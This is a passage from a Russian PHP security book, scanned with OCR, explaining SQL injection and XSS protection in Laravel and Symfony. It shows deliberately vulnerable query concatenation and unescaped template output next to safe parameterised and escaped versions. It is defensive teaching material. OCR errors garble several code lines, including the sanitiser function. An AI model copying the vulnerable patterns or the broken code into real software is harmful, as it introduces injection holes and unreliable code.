ты. Таким образом вы сможете работать с данными как с привычными для языка 

программирования объектами. В нашем случае мы создали класс Blog, и для досту
па к записям блага сможем использовать объекты этого класса. 



Фреймворки РНР 265 

У Eloquent большое количество функций, и для знакомства со всеми его возможно
стями я вынужден рекомендовать вам воспользоваться официальным сайтом 
https://laravel.com/docs/9.x/eloquent. 

Здесь же я покажу только пару хороших примеров обращения к базе данных, а по
том мы посмотрим на плохие примеры. 

Допустим, что нам нужно получить запись по перв11чному ключу (идентификато
ру)-для этого можно использовать функци:и find или findOrFail:

Blog::findOrFail(l) 

Для поиска по произвольной колонке можно воспользоваться следующим под
ходом: 

DB: : tаЫе ( 'Ьlogs') ->where ( 'ti tle', 'Test') ->first () 

Здесь мы ищем строку, в которой колонка ti tle равна строке Test. Опять нет 
«чистого» SQL, и, значит, не будет и инъекции, если только разработчики Eloquent 
не совершили ошибку. 

Использование подобных функций -безопасный подход, но все же ограничиваю
щий программиста в возможностях. SQL -более гибкий и мощный вариант дос
тупа, и в тех случаях, когда вы хотите получить эту гибкость, можно воспользо
ваться имеющимися специальными функциями. Например, метод whereRaw предос
тавляет такую возможность: 

$list = [DB::taЬle('Ьlogs')->whereRaw('id =' . $id)->first()]; 

Вот тут уже фильтр задается в виде «чистого» SQL, а это грозит инъекцией. Если 
в параметре $ id будет содержаться зловредный код, он будет выполнен точно так 
же, как и при «чистом» SQL, который мы рассматривали в главе 3.

Можно фильтровать переменную, что мы уже рассматривали, но наилучшим спо
собом защиты является использование параметров. Методу whereRaw можно пере
дать два параметра: 

□ строку со SQL-запросом секции WHERE. Параметры в строке указываются в виде
символов вопросительного знака;

□ массив из параметров в той же последовательности, в которой вопросительные
знаки появляются в строке запроса.

То есть безопасная версия приведенного примера будет выглядеть следующим об
разом: 

$list = [DB:: tаЫе ( 'Ьlogs') ->whereRaw ( 'id = ? ', [$id]) ->first ()]; 

Еще одна опасная функция-staternent, которая позволяет выполнить полностью 
«ЧИСТЫЙ» SQL: 

DB: :staternent ("SELECT * FROM Users WНRE Ernail = " . $ernail); 

Снова «чистый» SQL, а это опасно. И снова лучший вариант -использовать пара
метры, точно так же, как и в случае с whereRaw:

DB: :staternent("SELECT * FROM Users WHRE Ernail = ?", [$email]); 
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Здесь уже в строке SQL используются параметры, которые передаются во втором 
параметре. 

6. 4. 3. lлуд при добавлении данных

Хочу вернуться к разд. 6. 4.1, где мы добавляли данные в базу данных. После созда
ния нового объекта и его сохранения я вызываю redirect, который переадресовы
вает на домашнюю страницу. Переадресация- это не просто моя прихоть, это 
действительно необходимый шаг для любых действий, где происходит добавление 
данных. 

Попробуйте у метода saveЫogi tern заменить: 

return redirect('/'); 

на 

return view ( 'adc!Ьlogi tern' ) ; 

Теперь запустите сайт и добавьте какую-нибудь запись в наш блог. После добавле
ния код снова отобразит форму для нового ввода, потому что вместо вместо реди
ректа (redirect) мы отображаем представление (view). Теперь просто перезагрузите 
страницу - браузер должен спросить вас что-то типа: «Вы хотите отправить стра
ницу еще раз?». Как точно выглядит это сообщение по-русски я не знаю, потому 
что у меня и ОС, и все приложения на английском. Если вы согласитесь, в базе бу
дет создана еще одна такая же запись. Перезагружая страницу, вы будете получать 
копии одной и той же записи несколько раз. 

Переадресация (редирект) спасает от подобных вещей, поэтому я рекомендую, что
бы все действия, которые добавляют или изменяют данные в базе, заканчивались 
именно переадресацией на другую страницу. После этого ее можно будет безопас
но перегружать, и лишние записи не появятся. 

6. 4. 4. Работа с базами данных в Symf ony

Есть еще один достаточно популярный РНР-фреймворк - Symfony, в нем для дос
тупа к базам данных используется другая библиотека - Doctrine, которая работает 
примерно таким же образом. Я просто покажу пример доступа к данным, потому 
что это также очень большая библиотека с большим количеством возможностей: 

$doctrine 
->getReposi tory ( 'Арр: Blogs' ) 
->findВy(('id' => 1), ('Title' => 'asc'J) 

Как видите, тут тоже нет SQL - т. е. Doctrine берет на себя защиту от инъекции.

Чтобы получить всю мощь баз данных, Doctrine позволяет использовать «чистый» 
SQL следующим образом: 

$query = $doctrine 
->getManager () 
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->getConnection() 
->prepare('SELECT * FROM Blogs WHERE id = ' . $id); 
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Эгот «чистый» SQL грозит всеми проблемами SQL Injection. И снова отличной за
щитой является использование параметров, что в Doctrine выглядит следующим 
образом: 

$parameters = array(); 
$parameters [ 'id'] = $id; 

$query = $doctrine 
->getManager () 
->getConnection() 
->prepare('SELECT * FROM Blogs WHERE id = :id'); 

$iterns = $query->execute($parameters)->fetchAll(); 

Параметры в SQL оформляются через двоеточие, а имя сразу после двоеточия и 
передаются в виде массива функции execute. 

Огсюда резюме: какой бы подход или фреймворк вы ни задействовали, в случае 
использования «чистого» SQL всегда применяйте параметры. 

6. 5. lреймворки и защита от XSS

Попробуйте добавить в блог запись, которая будет содержать какой-нибудь НТМL
код. Например: 

<hl>Test</hl> 

В результате на странице со списком всех записей блога вы должны увидеть имен
но этот текст. При отображении заголовка блога мы в файле представления просто 
помещаем его в двойные фигурные скобки: 

{ {$itern->title}} 

Получается, что такой метод отображения автоматически экранирует любые теги 
и защищает нас от XSS? Именно так. Подобным образом работают все фреймвор
ки, с которыми мне доводилось встречаться. 

Если вам нужно отобразить текст вместе с форматированием, то для вывода пере
менной нужно использовать вот такую конструкцию: 

{! !$itern->title! !} 

содержащую одинарные фигурные скобки и двойные восклицательные знаки во
круг переменной. 

Однако такой подход можно использовать mо}Jько в том случае, если вы выводите 
данные, на которые пользователь не может повлиять никаким образом. Иначе вы 
можете столкнуться с ХSS-уязвимостью, которую мы рассматривали в главе 3, и за 
экранирование опасных символов ответственность будете нести уже вы, как про
граммист. 
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Это хорошо, что фреймворки снова ведут себя с позиции «запрещено все, что явно 
не разрешено». Вы должны явно указывать, что именно должно выводиться без 

защиты. 

Если вам нужно вывести без защиты пользовательские данные, то тут надо ис
пользовать методы, которые мы уже рассматривали. Например, в моем блоге 
www.flenov.info можно оставлять комментарии, и когда пользователь пишет ком
ментарий, то он сохраняется как «чистый» текст. Проблема возникает, когда нужно 
вывести многострочный пользовательский комментарий: 

Привет 

Это многострочный комментарий 

Спасибо 

Он сохраняется в базе данных так: 

Привет\nЭто многострочный ко.мментарий\nСпасибо 

Здесь \n - это перевод на новую строку, и это не НТМL-код. Значит, мне нужно 
перед выводом комментария заменить все символы перевода строки на НТМL-теги 

и вывести в «чистом» виде. Но если я буду выводить это в «чистом» виде, то воз
никает опасность XSS - ведь тогда в таком виде будет выводиться весь текст 
пользователя, а он может указать что угодно. Как защититься? 

Да, я вывожу в переменную текст в «чистом» виде, но перед выводом она очищает
ся от всех опасных символов с помощью следующей функции: 

puЬlic static function formatDescription($str) 

$str htmlspecialchars($str); 

$str = str_replace( 11\n11
, 

11<br />11
, 

str _ replace ( 11 11, 11 &nbsp; &nbsp; 11 , $str) ) ; 

$str str_replace( 11 [quote] 11 , 11<div class=\11quote\11> 11, $str); 
$str str_replace( 11 [/quote] 11

,· 
11</div>11, $str); 

$str str _ replace ( 11 [Ь] 11
, 

11<Ь>11, $s tr); 

$str str_replace("[/b]", 11</Ь>11
, $str); 

$str str_replace("[i] 11
, 

11<i>11 , $str); 

$str str_replace( 11 [/i] 11, 11</i>11 , $str); 

return '<р>' . $str . '</р>'; 

Сначала я вызываю htmlspecialchars, которая защищает от XSS и обеззараживает 
все. После этого заменяются только символы перевода каретки и некоторые другие 
специальные конструкции, которые даже не являются НТМL-кодом. Да, в моем 

блоге в комментариях можно выделять текст с помощью специальных тегов: [bJ, 

[ i J , [ quote J , и эти теги специально сделаны так, чтобы они не являлись НТМL
кодом и проще было бы обеззараживать пользовательский текст. 
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6.5.1. XSS в Symfony 
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Снова обратимся к Symfony и посмотрим на его защиту. В этом фреймворке в каче

стве представления используются шаблоны twig, которые отличаются от Ыаdе, 
применяемых в Laravel. Тут также для вывода переменных задействуются двойные 

фигурные скобки, ·вследствие чего вывод становится безопасным: 

{{item.getTitle(} }} 

Но в тех случаях, когда нужно вывести данные в «чистом» виде, после переменной 

надо поставить символ вертикальной черты и написать слово raw (сырой): 

{{item.data.getBlText() lraw}} 
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